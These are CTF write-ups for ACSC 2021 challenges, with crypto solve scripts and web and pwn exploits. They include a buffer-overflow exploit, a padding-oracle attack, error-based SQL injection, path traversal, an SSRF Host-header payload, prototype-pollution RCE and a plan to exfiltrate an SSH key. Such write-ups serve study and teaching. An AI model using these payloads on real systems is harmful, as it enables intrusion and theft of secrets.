# ACSC 2021 Writeups

Author: maple3142
My Blog: https://blog.maple3142.net/

# RSA stream

The output is a stream of `(m^e[i] mod n) xor known_plaintext[i]`, so we can easily get two encrypted flag under same modulus with different exponents, then apply common modulus attack to get flag.

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long, getStrongPrime, inverse
from Crypto.Util.Padding import pad

n = 30004084769852356813752671105440339608383648259855991408799224369989221653141334011858388637782175392790629156827256797420595802457583565986882788667881921499468599322171673433298609987641468458633972069634856384101309327514278697390639738321868622386439249269795058985584353709739777081110979765232599757976759602245965314332404529910828253037394397471102918877473504943490285635862702543408002577628022054766664695619542702081689509713681170425764579507127909155563775027797744930354455708003402706090094588522963730499563711811899945647475596034599946875728770617584380135377604299815872040514361551864698426189453

with open("chal.py", "rb") as f:
    chal = f.read()

with open("chal.enc", "rb") as f:
    enc = f.read()

q1 = bytes_to_long(chal[:256])
c1 = q1 ^ bytes_to_long(enc[:256])
e1 = 65537

q2 = bytes_to_long(chal[256:512])
c2 = q2 ^ bytes_to_long(enc[256:512])
e2 = gmpy2.next_prime(e1)

_, a, b = gmpy2.gcdext(e1, e2)
m = (gmpy2.powmod(c1, a, n) * gmpy2.powmod(c2, b, n)) % n
print(long_to_bytes(m))

# filtered

Input size is read as `int`, and it will ensure `size < 100`. But the `readline` uses `size_t`, which is unsigned integer, so passing `-1` as size allows you to buffer overflow. So you can simply overwrite return address to `win`.

from pwn import *

elf = ELF("./filtered")

# io = process("./filtered")
io = remote("filtered.chal.acsc.asia", 9001)
io.sendlineafter(b"Size: ", b"-1")
io.sendlineafter(b"Data: ", b"a" * 280 + p64(elf.sym["win"]))
io.interactive()

# CBCBC

The decryption of CBCBC is:

$$
I_i=C_{i-1} \oplus D(C_i), C_0=\mathit{IV}_2 \\
P_i=I_{i-1} \oplus D(I_i), I_0=\mathit{IV}_1
$$

So we have:

$$
P_1=I_0 \oplus D(C_0 \oplus D(C_1))
$$

The $D(C_0 \oplus D(C_1))$ can be considered to be a blackbox function of $C_1$, so we can set $I_0$ as $\mathit{IV}_1$ and $C_1$ as current block to get $P_1$ with padding oracle.

$$
P_2=C_0 \oplus D(C_1) \oplus D(C_1 \oplus D(C_2))
$$

The $D(C_1) \oplus D(C_1 \oplus D(C_2))$ is a blackbox function of $C_1||C_2$, so setting $C_0$ as $\mathit{IV}_2$ and $C_1||C_2$ as current block gives $P_2$.

Getting $P_3$ is pretty similar to $P_2$.

from pwn import process, remote
from base64 import b64decode, b64encode

# io = process(["python", "chal.py"])
io = remote("cbcbc.chal.acsc.asia", 52171)
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"username: ", b"")
io.recvuntil(b"token: \n")
enc = b64decode(io.recvline().strip())
iv1, iv2, ct = enc[:16], enc[16:32], enc[32:]


def oracle(iv, block):
    enc = iv + iv2 + block
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"username: ", b"peko")
    io.sendlineafter(b"token: ", b64encode(enc))
    r = io.recvlineS()
    return "Check your token again" not in r


def oracle2(iv, block):
    enc = iv1 + iv + block
    io.sendlineafter(b"> ", b"2")
    io.sendlineafter(b"username: ", b"peko")
    io.sendlineafter(b"token: ", b64encode(enc))
    r = io.recvlineS()
    return "Check your token again" not in r


# copied from https://gist.github.com/maple3142/e9f41bc7dba159123d9c7546e406948b


def cbc_oracle_block(oracle, prev, block, sz=16):
    rprev = prev[::-1]
    rpt = bytearray(sz)  # reversed plaintext
    for i in range(sz):
        pad = i + 1
        for b in range(256):
            riv = bytearray(rpt)
            for j in range(i):
                riv[j] = rpt[j] ^ rprev[j] ^ pad
            riv[i] = b
            if oracle(riv[::-1], block):
                rpt[i] = pad ^ rprev[i] ^ b
                break
        print(i, bytes(rpt[::-1]))
    return bytes(rpt[::-1])


def cbc_oracle(oracle, iv, ct, sz=16):
    blocks = [iv] + [ct[i : i + sz] for i in range(0, len(ct), sz)]
    pt = b""
    for block, prev in zip(blocks[::-1], blocks[:-1][::-1]):
        pt = cbc_oracle_block(oracle, prev, block) + pt
    return pt


print(len(ct))  # 48, 3 blocks
print(cbc_oracle_block(oracle, iv1, ct[:16]))  # block 1
print(cbc_oracle_block(oracle2, iv2, ct[:32]))  # block 2
print(cbc_oracle_block(oracle2, ct[:16], ct[16:]))  # block 3, useless

# Username: R3dB1ackTreE
# Token: 6xk04ChE+H0aWk4aX7FREsxtriobxnNs7mDrTDhYu8C61ch3yoK4u5Nh1tRmxkYr3Q01ayidr0sFGO0oWVDrVZd+GM0vhBzBaUtv2pRzQ+8=
# ACSC{wow_double_CBC_mode_cannot_stop_you_from_doing_padding_oracle_attack_nice_job}

# Pickle Rick

Pickle part can be reversed easily by providing a custom overloaded unpickler that prints the stack at each instruction.

By observing the stack during execution, you can see there is a big binary tree represented recursively using nested tuple, and two function called `search` and `mix`.

The `search` function takes a binary tree and a number as input, returns a number. The `mix` function takes an interger list and transform it into another integer list.

The logic of pickle bytecode is basically:

target = ()  # some constant tuple
ar = []
for c in mix(user_input):
    ar.append(search(tree, c))
if tuple(ar) == target:
    print('Good')

So we can simply get the `target` tuple and bruteforce back to get `mix(user_input)` easily.

`mypixel.py`:

> Then modify `import pickle` in `chal.py` to `import mypickle`

from pickle import _Unpickler, UnpicklingError, _Unframer, bytes_types, _Stop
import io


def tuple_deep(t):
    if type(t) == tuple and len(t) > 0:
        return max(tuple_deep(x) + 1 for x in t)
    return 0


class MyUnpickler(_Unpickler):
    def load(self):
        """Read a pickled object representation from the open file.

        Return the reconstituted object hierarchy specified in the file.
        """
        # Check whether Unpickler was initialized correctly. This is
        # only needed to mimic the behavior of _pickle.Unpickler.dump().
        if not hasattr(self, "_file_read"):
            raise UnpicklingError(
                "Unpickler.__init__() was not called by "
                "%s.__init__()" % (self.__class__.__name__,)
            )
        self._unframer = _Unframer(self._file_read, self._file_readline)
        self.read = self._unframer.read
        self.readinto = self._unframer.readinto
        self.readline = self._unframer.readline
        self.metastack = []
        self.stack = []
        self.append = self.stack.append
        self.proto = 0
        read = self.read
        dispatch = self.dispatch
        try:
            while True:
                key = read(1)
                if not key:
                    raise EOFError
                assert isinstance(key, bytes_types)
                dispatch[key[0]](self)

                # custom debugging code
                print(bytes([key[0]]), end=" ")
                for x in self.stack:
                    y = repr(x)
                    if len(y) > 30:
                        y = y[:27] + "..."
                    if type(x) == tuple and tuple_deep(x) == 9:
                        global tree
                        tree = x
                    print(y, end=" | ")
                print()
                for x in self.stack:
                    if type(x) == type(loads):
                        fns[x.__code__.co_name] = x
        except _Stop as stopinst:
            return stopinst.value


fns = {}


def loads(x):
    file = io.BytesIO(x)
    r = MyUnpickler(file).load()
    # fmt: off
    target = (53, 158, 33, 115, 5, 17, 103, 3, 67, 240, 39, 27, 19, 68, 81, 107, 245, 82, 130, 159, 227)
    # fmt: on
    mixed = []
    for t in target:
        mixed += [i for i in range(256) if fns["search"](tree, i) == t]
    print("mixed sequence:")
    print(mixed)
    return r

The mix function is:

def mix(a):
    ln = len(a)
    arr = []
    i = 0
    while i < ln:
        s, j = 0, 0
        while j < ln:
            s = s + (j + 1) * a[(i + j) % ln]
            j += 1
        s %= 257
        arr.append(s)
        i += 1
    return arr

I initially wanted to reverse it with z3, but it runs forever. But later, I realized this is just a matrix multiplication with a vector over $F_p$
, so sage can solve it easily:

Z = Zmod(257)
mixed = [
    98,
    59,
    114,
    85,
    203,
    16,
    155,
    94,
    218,
    48,
    235,
    18,
    189,
    14,
    117,
    73,
    138,
    209,
    91,
    104,
    28,
]


def mix(a):
    ln = len(a)
    arr = []
    i = 0
    while i < ln:
        s, j = 0, 0
        while j < ln:
            s = s + (j + 1) * a[(i + j) % ln]
            j += 1
        # s %= 257
        arr.append(s)
        i += 1
    return arr


P = PolynomialRing(Z, x, 21)
flag = P.gens()
print(
    bytes(
        Sequence(mix(flag))
        .coefficient_matrix()[0]
        .dense_matrix()
        .solve_right(vector(Z, mixed))
    )
)

# API

It is easily to found that it is impossible to be admin normally by reading the source code. The vulneribility is:

if (!$admin->is_admin()) $admin->redirect('/api.php?#access denied');

Redirecting doesn't stop the code from executing, so we can still use `c2` as a normal user.

For passcode, you can get it here directly: https://api.chal.acsc.asia/lib/db/passcode.db

Then you could just use this to get flag:

curl -k 'https://api.chal.acsc.asia/api.php?id=Peko&pw=PekoPekoPeko&c=i&c2=gd&pas=:<vNk&db=../../../../../flag'

# Secret Saver

It compress then encrypts your input and flag serilized as json with AES-CTR, then store the ciphertext into a mysql database. So it is obvious that we need to use CRIME attack, but we need to get the length of ciphertext first.

Note that there is a sql injection, and it displays error message, so we can leak the length of ciphertext with error based injection in 2 requests.

The remaining part is implements the CRIME attack, that's all.

import httpx
import asyncio
import string

url = "http://167.99.77.49/"


async def check_length(client, msg):
    id = (
        await client.post(
            url,
            data={"msg": "^^^^^^^^" + msg * 3, "name": "!" * 8},
        )
    ).text
    r = await client.post(
        url,
        data={
            "msg": "^^^^^^^^",
            "name": f"'||extractvalue(1,concat(0x5c,(select * from (select length(msg) from msgs where id = '{id}') as t),0x5c))||'",
        },
    )
    return int(r.text.split("\\")[1])


async def main():
    async with httpx.AsyncClient(verify=False, http2=True) as client:
        chs = string.printable
        flag = "ACSC{"
        while not flag.endswith("}"):
            lns = await asyncio.gather(
                *[check_length(client, flag + c + "^$%(~`-1*") for c in chs]
            )
            i = lns.index(min(lns))
            flag += chs[i]
            print(flag)


asyncio.run(main())

# ACSC{MAK3-CRiME-4TT4CK-GREAT-AGaiN!}

# Baby Developer

It provides a screenshot service that uses puppeteer, and there is another website running on vite server dev mode in the internal network. The objective is the get the ssh private key of the container running the vite server.

By examining vite's source code, it is easy to see it has a `@fs` feature allowing you to read any file like this: `/@fs/etc/passwd`. Also, the whole website have `Access-Control-Allow-Origin: *` header enabled, so we can setup our webpage that fetch ssh private key and send it to our server easily. So we can use that ssh key to ssh to the server and get flag easily.

# Swap on Curve

Need to find a $(x,y)$ that satisfies both

$$
y^2=x^3+ax+b \\
x^2=y^3+ay+b
$$

over $F_p$.

I just simply use the resultant of two polynomial to eliminate $y$ and get a polynomial with only $x$ in it, and use sage's builtins' solver to solve it.

from sage.matrix.matrix2 import Matrix
from Crypto.Util.number import long_to_bytes


def resultant(f1, f2, var):
    return Matrix.determinant(f1.sylvester_matrix(f2, var))


p = 10224339405907703092027271021531545025590069329651203467716750905186360905870976608482239954157859974243721027388367833391620238905205324488863654155905507
a = 4497571717921592398955060922592201381291364158316041225609739861880668012419104521771916052114951221663782888917019515720822797673629101617287519628798278
b = 1147822627440179166862874039888124662334972701778333205963385274435770863246836847305423006003688412952676893584685957117091707234660746455918810395379096

P = PolynomialRing(GF(p), "x,y")
x, y = P.gens()
f = y ^ 2 - (x ^ 3 + a * x + b)
g = x ^ 2 - (y ^ 3 + a * y + b)

for r, e in resultant(f, g, y).univariate_polynomial().roots():
    print(long_to_bytes(r))

# Favorite Emojis

The website uses nginx as reverse proxy, and it will try to render the webpage on the server side using prerenderer if user agent matches some pattern.

Nginx passes the url to prerenderer using this following rule:

rewrite .* /$scheme://$host$request_uri? break;
proxy_pass http://renderer:3000;

And our target is to access `http://api:8000/`.

I tried to set `Host` header to `api:8000` to try to inject to port into the rewrited path, but nginx will ignore the port entirely.

The code that prerenderer handles the url is [here](https://github.com/prerender/prerender/blob/1098f5c8ff5f25e9a4248ea53a657df41c700dfc/lib/util.js#L46). There is some `decodeURIComponent`, so it might be possible to inject `:` into the result url.

Unfortunately, `api%3a8000` won't work because nginx will always escape `%` as `%25`, and `url.parse(decodedUrl, true)` will parse it as path.

The trick is to put it into userinfo part like this: `api%3a8000@peko`, which will correctly passes the `url.parse` and `url.format` in their url handling code. And due to their `decodeURIComponent` after `url.format`, the `%3a` will be `:`, so we have `http://api:8000@peko` now.

To make it access `http://api:8000/`, we only need to add another `?` to ignore the remaining part. So our final payload is `api%3a8000%3f@peko`.

curl 'http://favorite-emojis.chal.acsc.asia:5000/' -H 'User-Agent: googlebot' -H 'Host: api%3a8000%3f@peko'

# Two Rabin

The flag are cut into two parts $m_1$ and $m_2$. And there is a regulard RSA modulus $n=pq$ and another constant $B$.

The first part are encrypted using $c \equiv m(m+B) \pmod{n}$, the first are without padding and the second has padding. Since the padding is constant, they can be rewrited as 2 polynomials with same root $m$, so computing polynomial gcd gives the first half of the flag.

The second part are encrypted in the same way, but they both have a 240 bits random padding. It is easy to easy that the difference between two padded $m_2$ are less 240 bits too. We can rewrite the encryption as 2 polynomial with 2 variable $m,x$, where $x$ is the small difference. Eliminate $m$ from two polynomial to get another polynomial with a small root $x$, which can be solved by coppersmith.

After getting $x$, the remaining part are same as a first part. Simply take gcd of 2 polynomial and get the second half of the flag.

from Crypto.Util.Padding import pad
from Crypto.Util.number import *
from sage.matrix.matrix2 import Matrix


def resultant(f1, f2, var):
    return Matrix.determinant(f1.sylvester_matrix(f2, var))


flag1_len = 98
n = 105663510238670420757255989578978162666434740162415948750279893317701612062865075870926559751210244886747509597507458509604874043682717453885668881354391379276091832437791327382673554621542363370695590872213882821916016679451005257003326444660295787578301365987666679013861017982035560204259777436442969488099
B = 12408624070212894491872051808326026233625878902991556747856160971787460076467522269639429595067604541456868927539680514190186916845592948405088662144279471
c1 = 47149257341850631803344907793040624016460864394802627848277699824692112650262968210121452299581667376809654259561510658416826163949830223407035750286554940980726936799838074413937433800942520987785496915219844827204556044437125649495753599550708106983195864758161432571740109614959841908745488347057154186396
c2 = 38096143360064857625836039270668052307251843760085437365614169441559213241186400206703536344838144000472263634954875924378598171294646491844012132284477949793329427432803416979432652621257006572714223359085436237334735438682570204741205174909769464683299442221434350777366303691294099640097749346031264625862
flag2_len = 98
hard_c1 = 73091191827823774495468908722773206641492423784400072752465168109870542883199959598717050676487545742986091081315652284268136739187215026022065778742525832001516743913783423994796457270286069750481789982702001563824813913547627820131760747156379815528428547155422785084878636818919308472977926622234822351389
hard_c2 = 21303605284622657693928572452692917426184397648451262767916068031147685805357948196368866787751567262515163804299565902544134567172298465831142768549321228087238170761793574794991881327590118848547031077305045920819173332543516073028600540903504720606513570298252979409711977771956104783864344110894347670094


def pgcd(g1, g2):
    while g2:
        g1, g2 = g2, g1 % g2
    return g1.monic()


def solve1():
    k = bytes_to_long(pad(b"a" * flag1_len, 128)[flag1_len:])
    P = PolynomialRing(Zmod(n), "m1")
    m1 = P.gen()
    m2 = m1 * 2 ^ 240 + k
    f1 = m1 * (m1 + B) - c1
    f2 = m2 * (m2 + B) - c2

    g = pgcd(f1, f2)
    return long_to_bytes(-g.coefficients()[0])


def solve2():
    global t, x, m1, m2, f1, f2, g
    P = PolynomialRing(Zmod(n), "m1,x")
    m1, x = P.gens()
    m2 = m1 + x
    f1 = m1 * (m1 + B) - hard_c1
    f2 = m2 * (m2 + B) - hard_c2
    f = resultant(f1, f2, m1).univariate_polynomial()
    x = f.small_roots(X=2 ^ 240, epsilon=0.03)[1]

    P = PolynomialRing(Zmod(n), "m1")
    m1 = P.gen()
    m2 = m1 + x
    f1 = m1 * (m1 + B) - hard_c1
    f2 = m2 * (m2 + B) - hard_c2
    g = pgcd(f1, f2)
    return long_to_bytes(-g.coefficients()[0] >> 240)


print(solve1() + solve2())

# Cowsay as a Service

Notice that we can do prototype pollution by setting our username to `__proto__` and change settings easily. And find a prototype pollution gadget to get RCE then it is all done. I polluted `Object.prototype.shell` to `/bin/bash` because the [documentation](https://nodejs.org/api/child_process.html#child_process_child_process_spawn_command_args_options) said `shell` will be used when spawning child process. So we can have a bash expansion behavior by setting the shell `/bin/bash`, then simply let it cowsay `$(env)` to get flag.